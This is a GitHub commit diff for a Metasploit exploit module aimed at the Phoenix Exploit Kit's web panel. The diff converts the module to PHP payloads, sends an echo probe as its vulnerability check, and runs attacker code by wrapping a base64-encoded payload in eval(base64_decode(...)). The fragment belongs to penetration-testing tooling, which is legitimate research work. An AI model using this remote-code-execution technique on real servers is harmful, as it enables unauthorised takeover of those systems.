Skip to content

Commit 7a41203

Browse files
committed
Convert phoenix_exec to ARCH_PHP
1 parent 43a9b2f commit 7a41203

File tree

1 file changed

+5
-15
lines changed

1 file changed

+5
-15
lines changed

modules/exploits/multi/http/phoenix_exec.rb

Lines changed: 5 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -32,21 +32,11 @@ def initialize(info={})
3232
[ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ]
3333
],
3434
'Privileged' => false,
35-
'Payload' =>
36-
{
37-
'Space' => 200,
38-
'DisableNops' => true,
39-
'Compat' =>
40-
{
41-
'PayloadType' => 'cmd'
42-
}
43-
},
44-
'Platform' => %w{ unix win },
45-
'Arch' => ARCH_CMD,
35+
'Platform' => 'php',
36+
'Arch' => ARCH_PHP,
4637
'Targets' =>
4738
[
48-
[ 'Phoenix Exploit Kit / Unix', { 'Platform' => 'unix' } ],
49-
[ 'Phoenix Exploit Kit / Windows', { 'Platform' => 'win' } ]
39+
[ 'Automatic', {} ]
5040
],
5141
'DisclosureDate' => 'Jul 01 2016',
5242
'DefaultTarget' => 0))
@@ -59,7 +49,7 @@ def initialize(info={})
5949

6050
def check
6151
test = Rex::Text.rand_text_alpha(8)
62-
res = http_send_command("echo #{test};")
52+
res = http_send_command("echo \"#{test}\";")
6353
if res && res.body.include?(test)
6454
return Exploit::CheckCode::Vulnerable
6555
end
@@ -68,7 +58,7 @@ def check
6858

6959
def exploit
7060
encoded = Rex::Text.encode_base64(payload.encoded)
71-
http_send_command("passthru(base64_decode(\"#{encoded}\"));")
61+
http_send_command("eval(base64_decode(\"#{encoded}\"));")
7262
end
7363

7464
def http_send_command(cmd)

0 commit comments

Comments
 (0)